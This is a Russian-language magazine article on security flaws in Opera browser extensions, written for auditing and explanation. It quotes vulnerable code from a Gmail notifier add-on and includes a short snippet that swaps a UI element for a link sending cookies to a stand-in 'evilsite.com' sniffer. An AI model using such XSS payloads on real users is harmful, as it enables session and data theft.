Через расширения браузеров можно провести немало знакомых нам атак. В этом мы убедились в прошлом номере, когда исследовали аддоны Google Chrome. Сегодня на очереди сверхпопулярный в СНГ браузер Opera. Поддержка аддонов в нем появилась недавно, но от этого задача только интереснее!

Чтобы упростить жизнь разработчиков и сделать процесс создания расширений максимально прозрачным и удобным, создатели браузеров предлагают использовать привычные для нас веб-технологии для разработки браузерных аддонов. Это дает эффект: все новые плагины появляются как грибы после дождя. Но у такой простоты есть и обратная сторона медали — возможные риски в безопасности, которые во многом нам уже знакомы в аспекте исследования обычных веб-приложений. Браузер Opera, разработчики которого непростительно долго отказывались от системы расширений, наконец-то обзавелся таким механизмом. Справедливости ради стоит отметить, что к этому моменту в Opera уже была технология виджетов (но многие ли этими виджетами пользуются?) и система пользовательских скриптов. После найденных уязвимостей в аддонах для Chrome мне было крайне интересно пощупать расширения и для Opera. Но для этого пришлось разобраться в структуре этих самых расширений.

 

Аддон изнутри

Расширения в Opera очень похожи на аналогичное решение в Google Chrome. При их создании также используются популярные вебтехнологии, такие как HTML, CSS и JavaScript, а сами по себе они базируются на давно используемой при создании виджетов спецификации W3C Widgets specification. Эта архитектура достаточно подробно описана в статье Криса Милса «What’s in an Opera extension?» (bit.ly/k5WkoL). Нам же для понимания материала хватит знания некоторых основных моментов о структуре аддонов. Обычно расширение в Opera состоит из следующих частей (некоторые из них опциональные):

  • фоновая страница (обычно index.html) и сопутствующие скрипты — это движок расширения;
  • страница всплывающего окна, которое появляется, когда ты кликнешь на кнопке аддона в тулбаре веб-браузера;
  • JavaScript-скрипты и CSS-стили для выполнения в соответствии с определенными правилами в произвольных, посещаемых тобой веб-страницах (например, скрипт, который заменяет все ссылки «mailto:» на соответствующий обработчик твоего любимого почтового сервиса);
  • файл конфигурации confi g.xml (подобно manifest.json в Google Chrome) — в этом файле указывается мета-информация о расширении: название и описание, информация об авторе, политики безопасности и другое;
  • страница настроек аддона — для того чтобы расширение могло сохранять пользовательские настройки.

Эти главные составляющие расширения взаимодействуют между собой посредством специального механизма сообщений:

Внедряемый скрипт <-> Фоновый процесс <-> Кнопка/Бейдж <-> Всплывающее окно

Все эти части, за исключением элемента «Кнопка/Бейдж», имеют доступ к «своему» специальному Opera Extensions API со следующими правилами:

  • Из фоновой страницы доступны объекты window.widget, opera.extension и opera.contexts — в этих рамках можно делать все что угодно, например, создавать элементы пользовательского интерфейса. Но при этом у тебя нет прямого доступа к содержанию открытой пользователем страницы.
  • Внедряемые скрипты имеют полный доступ к содержимому посещаемых пользователем страниц (чтение и модификация) и они могут общаться с другими частями расширения через упомянутый выше механизм сообщений.
  • Страницы всплывающих окон могут общаться с другими частями расширения, работать с настройками аддона и т.д.
 

XSS

При первом же рассмотрении можно увидеть разницу между Opera и Google Chrome в контексте взаимодействия расширения с внешними ресурсами (картинки, формы и т.п.). Возьмем для примера расширение для оповещения о новых письмах Google Mail Notifier.

Удивительно, но, как и в подобном расширении для Google Chrome, тут нашлась уязвимость — небезопасное использование входных данных, которое может привести к атакам вида XSS. В нашем случае злоумышленник посылает жертве специальным образом сформированное письмо со зловредной нагрузкой в поле темы или теле письма. Когда жертва получит письмо, а расширение оповестит его об этом, сработает нагрузка.

В силу используемых технологий исходный код расширения, как правило, доступен. Чуть поковырявшись, находим в исследуемом аддоне уязвимый участок кода (js/menu.js):

...
// Check if there are Messages to display
if(event.data.msg && event.data.msg.length > 0)
{

// Add every message
for(var i=0; i < event.data.msg.length; i++)
{
var tooltip = "<div class='tooltip'><p><u>" + lang.popup_to + " " + event.data.msg[i].sendermail + "</u><br/>" + lang.popup_from + " " + event.data.msg[i].authormail + "<br/><br/></p><p>" + event.data.msg[i].summary + "</p>"
var msg = $('<div></div>').addClass('message').attr("title", tooltip).tooltip({ left: -15 }).html("<strong>" + event.data.msg[i].authorname + "</strong> : " + event.data.msg[i].title).click( { link: event.data.msg[i].link }, LoadLink);
$('#message_box').append(msg);
...

Явно видно, что при формировании списка писем соответствующие параметры письма используются безо всякой обработки и вставляются прямо в HTML-код. Типичное место возможного внедрения зловредного кода в расширениях (в Opera и Google Chrome) — это страница всплывающего окна, которая обычно формируется фоновым скриптом на основе входных данных, которыми могут быть, например, RSS-потоки или информация о непрочитанных электронных письмах.

ИМХО, в реальном мире при аудите безопасности расширения этими сценариями не стоит ограничиваться. Вполне вероятным может быть и небезопасное использование так полюбившегося веб-разработчикам формата JSON! Традиционно опасным считается использование в таких случаях функции исполнения JavaScript-кода, то есть eval(), например, вот так:

var msg = eval("(" + response_text + ")");

Вместо того чтобы использовать специальное API для разбора JSON-сообщений:

var msg = JSON.parse(response_text);

В таких случаях зловредная нагрузка может быть исполнена уже в контексте фонового скрипта, что влечет более тяжкие последствия.

 

Потенциальные цели

Одной из самых популярных целей для XSS-атак является похищение аутентификационных данных в виде, например, сессионных кукисов. В настоящий момент разработчики Opera не предусмотрели возможность доступа к основному хранилищу кукисов веб-браузера (как это сделано в Google Chrome), а у каждого расширения — как бы свои собственные кукисы. Но это вполне вероятно скоро может измениться под напором просьб разработчиков расширений. Следующие данные, доступные из расширения, могут быть интересны злоумышленнику при проведении им XSS-атаки:

  • собственно кукисы самого расширения, потому как в большом количестве случаев с социальными расширениями, там хранится все тот же сессионный идентификатор;
  • настройки расширения, доступные через объект widget. preferences — например, там могут быть имя пользователя и пароль, как в случае расширения для работы с популярным сервисом Reddit Envelope;
  • контекстная информация — в нашем примере с Google Notifi er — это данные (адреса, темы и другое) писем жертвы;
  • банальный «фишинг» — даже в ограниченном контексте злоумышленник может использовать рассматриваемую уязвимость для фишинг-атак.

Обычно, для того чтобы передать данные со стороны жертвы, злоумышленник использует так называемый снифер. К примеру, просто внедряет с помощью JavaScript картинку с адресом, включающем данные из объекта document.cookie в качестве параметров. В случае с расширением в Opera такой трюк так просто не пройдет в силу политики безопасности, о чем недвусмысленно говорит документация: Исходя из политики по умолчанию, агент пользователя (например, веб-браузер) должен запрещать доступ к сетевым ресурсам, внешним по отношению к виджету, независимо от того, каким образом этот доступ запрашивается — через API-функции (например, XMLHttpRequest) или через разметку документа (например, с помощью тегов iframe, script, img).

Наше тестируемое расширение имеет следующие правила доступа к внешним ресурсам, прописанные в файле конфигурации:

...
<!-- Access Policy -->
<access origin="https://mail.google.com"/>
<access origin="https://www.google.com"/>
...

Элемент <access> дает возможность авторам расширений явным образом обозначить, с какими внешними ресурсами расширение собирается работать. Это значит, что если, например, расширению требуется даже просто показать картинку с внешнего ресурса, то необходимо это указать в этой опции! Для демонстрации в тестируемом расширении пришлось использовать логотип Google с хоста www.google.com, который подпадает под эти правила доступа. При этом есть два момента, которые стоит учитывать злоумышленнику в рамках XSS-атаки:

  • автор расширения может указать звездочку (*) в качестве значения «origin» для того, чтобы его расширение имело неограниченный доступ к сетевым ресурсам;
  • атрибут «subdomains» регулирует доступ для субдоменов указанного домена («привет»-блоги и прочие социальные ресурсы с пользовательскими субдоменами).

Но есть и другой трюк, который мы можем провернуть — можно сделать ссылку или другой интерактивный элемент пользовательского интерфейса с необходимым адресом. Когда жертва кликнет по ссылке и перейдет на сайт злоумышленника, последний получит требуемые данные. Например, в следующем коде показано, как можно заменить произвольный элемент интерфейса, чтобы запутать пользователя и заполучить кукисы:

//...
var a = document.createElement('a');
var d = document.getElementById('open');
a.href = "http://evilsite.com/sniff.php?d=...";
a.id = "foo";
a.innerText = 'Open GMail Tab';
d.parentNode.replaceChild(a, d);

 

Взаимодействие расширений и безопасность

В противовес Google Chrome, Opera не позволяет расширениям явным образом взаимодействовать между собой. У меня было предположение, что внедряемые скрипты, будучи развитием популярной технологии пользовательских скриптов UserJS, все-таки могут взаимодействовать через общий документ, в который они внедряются: Пользовательские JavaScript-скрипты выполняются в глобальном окружении — это означает, что все объявленное в скрипте будет доступно в рамках веб-страницы. Учитывая это, рекомендуется помещать основной код скрипта в тело анонимной функции для того, чтобы явным образом ограничить доступность данных скрипта в рамках веб-страницы.

Но судя по всему, разработчики Opera решили подкрутить безопасность. У меня не получилось добиться того, чтобы из одного внедренного скрипта прочитать данные (значения переменных) другого, загруженного перед ним в рамках общего DOM. Ни одна попытка не оказалась удачной. Получается, что остается только одна потенциальная возможность навредить из одного расширения другому — подпортить страницу, с которой оба аддона взаимодействуют.

 

Outro

Расширения в Opera имеют очень похожую архитектуру, что и в Google Chrome. Более того, даже уязвимости в них встречаются практически идентичные.

В то же время, в силу изначально закрученных гаек в подсистеме безопасности, либо попросту из-за того, что что-то из критичной функциональности (доступ к кукисам браузера, истории и закладкам) не реализовано, злоумышленнику сложнее эксплуатировать найденные в расширениях Opera уязвимости. Но тут не стоит забывать, что система аддонов этого браузера еще молодая и постоянно изменяется, в том числе под напором просьб разработчиков. Так что кто знает, что и как будет устроено через некоторое время.

 

Пользовательские скрипты в Opera

Технология пользовательских скриптов (UserJS), про которую ты наверняка уже слышал и даже применял, позволяет пользователю подключать к произвольным страницам, которые он посещает, свои JavaScript-скрипты. Эти скрипты будут исполнены веб-браузером перед загрузкой целевой страницы прямо в ее контексте (это очень важно). Пользовательские скрипты могут быть использованы для разных целей:

  • «вырезание» надоевшей рекламы на любимом ресурсе;
  • добавление произвольного HTML-кода на страницу (например, виджеты социальных сетей);
  • исправление каких-либо мест (которые доставляют неудобства) на странице;
  • для чего угодно в рамках текущего документа и возможностей JavaScript.

Для примера приведу следующий небольшой скрипт, который выделит на странице все ссылки, которые ведут на домен, отличный от текущего:

// ==UserScript==
// @include http://example.com/*
// ==/UserScript==
(function ()
{
var links = document.getElementsByTagName('a');
for(var i = 0; i<links.length; i++) {
if (links[i].href.indexOf('http://' + document.domain) != 0) {
links[i].innerText = '[->] ' +
links[i].innerText;
}
}
})();

Обрати внимание на необязательную, но весьма полезную шапку скрипта, в которой можно указать описание сценария, а также некоторые параметры (к примеру, для каких доменов его необходимо подключать).

 

Links

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии